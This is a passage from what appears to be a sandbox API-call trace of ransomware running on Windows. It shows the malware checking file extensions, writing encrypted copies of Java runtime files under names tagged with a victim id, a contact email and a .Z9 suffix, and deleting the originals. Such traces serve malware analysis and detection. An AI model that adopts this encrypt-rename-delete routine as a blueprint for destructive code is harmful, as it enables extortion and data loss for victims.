	[0096.329] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x420, lpOverlapped=0x0) returned 1
	[0096.330] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.330] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xee, lpOverlapped=0x0) returned 1
	[0096.330] SetEndOfFile (hFile=0x390) returned 1
	[0096.330] CloseHandle (hObject=0x390) returned 1
	[0096.330] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.330] SetEndOfFile (hFile=0x364) returned 1
	[0096.331] CloseHandle (hObject=0x364) returned 1
	[0096.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.331] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1
	[0096.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.331] lstrlenW (lpString=".doc") returned 4
	[0096.332] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString=".docx") returned 5
	[0096.332] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0096.332] lstrlenW (lpString=".pdf") returned 4
	[0096.332] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString=".xls") returned 4
	[0096.332] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString=".xlsx") returned 5
	[0096.332] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0096.332] lstrlenW (lpString=".ppt") returned 4
	[0096.332] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.332] lstrlenW (lpString=".zip") returned 4
	[0096.332] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString=".rar") returned 4
	[0096.332] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString=".bz2") returned 4
	[0096.332] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString=".7z") returned 3
	[0096.332] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.332] lstrlenW (lpString=".dbf") returned 4
	[0096.332] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.332] lstrlenW (lpString=".1cd") returned 4
	[0096.332] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.332] lstrlenW (lpString=".jpg") returned 4
	[0096.332] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.332] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.332] lstrlenW (lpString=".doc") returned 4
	[0096.332] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0096.332] lstrlenW (lpString=".docx") returned 5
	[0096.332] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0096.333] lstrlenW (lpString=".pdf") returned 4
	[0096.333] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0096.333] lstrlenW (lpString=".xls") returned 4
	[0096.333] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0096.333] lstrlenW (lpString=".xlsx") returned 5
	[0096.333] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0096.333] lstrlenW (lpString=".ppt") returned 4
	[0096.333] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.333] lstrlenW (lpString=".zip") returned 4
	[0096.333] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0096.333] lstrlenW (lpString=".rar") returned 4
	[0096.333] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0096.333] lstrlenW (lpString=".bz2") returned 4
	[0096.333] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0096.333] lstrlenW (lpString=".7z") returned 3
	[0096.333] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.333] lstrlenW (lpString=".dbf") returned 4
	[0096.333] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.333] lstrlenW (lpString=".1cd") returned 4
	[0096.333] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0096.333] lstrlenW (lpString=".jpg") returned 4
	[0096.333] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0096.333] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.333] lstrlenW (lpString="messages_de.properties") returned 22
	[0096.333] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.334] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3306) returned 1
	[0096.334] CloseHandle (hObject=0x364) returned 1
	[0096.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20
	[0096.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.334] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.334] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.334] GetLastError () returned 0x0
	[0096.334] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xcea, lpOverlapped=0x0) returned 1
	[0096.388] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xcf0, lpOverlapped=0x0) returned 1
	[0096.390] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.390] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x100, lpOverlapped=0x0) returned 1
	[0096.390] SetEndOfFile (hFile=0x390) returned 1
	[0096.391] CloseHandle (hObject=0x390) returned 1
	[0096.391] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.391] SetEndOfFile (hFile=0x364) returned 1
	[0096.393] CloseHandle (hObject=0x364) returned 1
	[0096.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.393] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1
	[0096.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.393] lstrlenW (lpString=".doc") returned 4
	[0096.393] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.393] lstrlenW (lpString=".docx") returned 5
	[0096.393] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.393] lstrlenW (lpString=".pdf") returned 4
	[0096.393] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.393] lstrlenW (lpString=".xls") returned 4
	[0096.394] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString=".xlsx") returned 5
	[0096.394] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.394] lstrlenW (lpString=".ppt") returned 4
	[0096.394] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.394] lstrlenW (lpString=".zip") returned 4
	[0096.394] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString=".rar") returned 4
	[0096.394] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString=".bz2") returned 4
	[0096.394] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString=".7z") returned 3
	[0096.394] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.394] lstrlenW (lpString=".dbf") returned 4
	[0096.394] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.394] lstrlenW (lpString=".1cd") returned 4
	[0096.394] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.394] lstrlenW (lpString=".jpg") returned 4
	[0096.394] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.394] lstrlenW (lpString=".doc") returned 4
	[0096.394] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString=".docx") returned 5
	[0096.394] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.394] lstrlenW (lpString=".pdf") returned 4
	[0096.394] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString=".xls") returned 4
	[0096.394] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.394] lstrlenW (lpString=".xlsx") returned 5
	[0096.394] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.394] lstrlenW (lpString=".ppt") returned 4
	[0096.395] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.395] lstrlenW (lpString=".zip") returned 4
	[0096.395] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.395] lstrlenW (lpString=".rar") returned 4
	[0096.395] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.395] lstrlenW (lpString=".bz2") returned 4
	[0096.395] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.395] lstrlenW (lpString=".7z") returned 3
	[0096.395] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.395] lstrlenW (lpString=".dbf") returned 4
	[0096.395] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.395] lstrlenW (lpString=".1cd") returned 4
	[0096.395] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0096.395] lstrlenW (lpString=".jpg") returned 4
	[0096.395] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.395] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.395] lstrlenW (lpString="messages_fr.properties") returned 22
	[0096.395] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.397] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3409) returned 1
	[0096.397] CloseHandle (hObject=0x390) returned 1
	[0096.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20
	[0096.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.398] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.398] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.399] GetLastError () returned 0x0
	[0096.399] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xd51, lpOverlapped=0x0) returned 1
	[0096.444] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0096.445] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.445] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x100, lpOverlapped=0x0) returned 1
	[0096.445] SetEndOfFile (hFile=0x37c) returned 1
	[0096.445] CloseHandle (hObject=0x37c) returned 1
	[0096.445] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.445] SetEndOfFile (hFile=0x358) returned 1
	[0096.446] CloseHandle (hObject=0x358) returned 1
	[0096.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.446] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1
	[0096.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.504] lstrlenW (lpString=".doc") returned 4
	[0096.504] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.504] lstrlenW (lpString=".docx") returned 5
	[0096.504] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.504] lstrlenW (lpString=".pdf") returned 4
	[0096.504] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.504] lstrlenW (lpString=".xls") returned 4
	[0096.504] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.504] lstrlenW (lpString=".xlsx") returned 5
	[0096.504] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.504] lstrlenW (lpString=".ppt") returned 4
	[0096.504] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.504] lstrlenW (lpString=".zip") returned 4
	[0096.504] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.504] lstrlenW (lpString=".rar") returned 4
	[0096.504] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.504] lstrlenW (lpString=".bz2") returned 4
	[0096.504] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.504] lstrlenW (lpString=".7z") returned 3
	[0096.504] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.504] lstrlenW (lpString=".dbf") returned 4
	[0096.505] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.505] lstrlenW (lpString=".1cd") returned 4
	[0096.505] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.505] lstrlenW (lpString=".jpg") returned 4
	[0096.505] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.505] lstrlenW (lpString=".doc") returned 4
	[0096.505] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString=".docx") returned 5
	[0096.505] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.505] lstrlenW (lpString=".pdf") returned 4
	[0096.505] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString=".xls") returned 4
	[0096.505] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString=".xlsx") returned 5
	[0096.505] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.505] lstrlenW (lpString=".ppt") returned 4
	[0096.505] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.505] lstrlenW (lpString=".zip") returned 4
	[0096.505] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString=".rar") returned 4
	[0096.505] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString=".bz2") returned 4
	[0096.505] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString=".7z") returned 3
	[0096.505] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.505] lstrlenW (lpString=".dbf") returned 4
	[0096.505] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.505] lstrlenW (lpString=".1cd") returned 4
	[0096.506] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0096.506] lstrlenW (lpString=".jpg") returned 4
	[0096.506] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.506] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.506] lstrlenW (lpString="messages_ko.properties") returned 22
	[0096.506] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.507] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5712) returned 1
	[0096.507] CloseHandle (hObject=0x37c) returned 1
	[0096.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20
	[0096.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.508] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.509] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.509] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.509] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.509] GetLastError () returned 0x0
	[0096.509] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x1650, lpOverlapped=0x0) returned 1
	[0096.517] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x1660, lpOverlapped=0x0) returned 1
	[0096.518] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
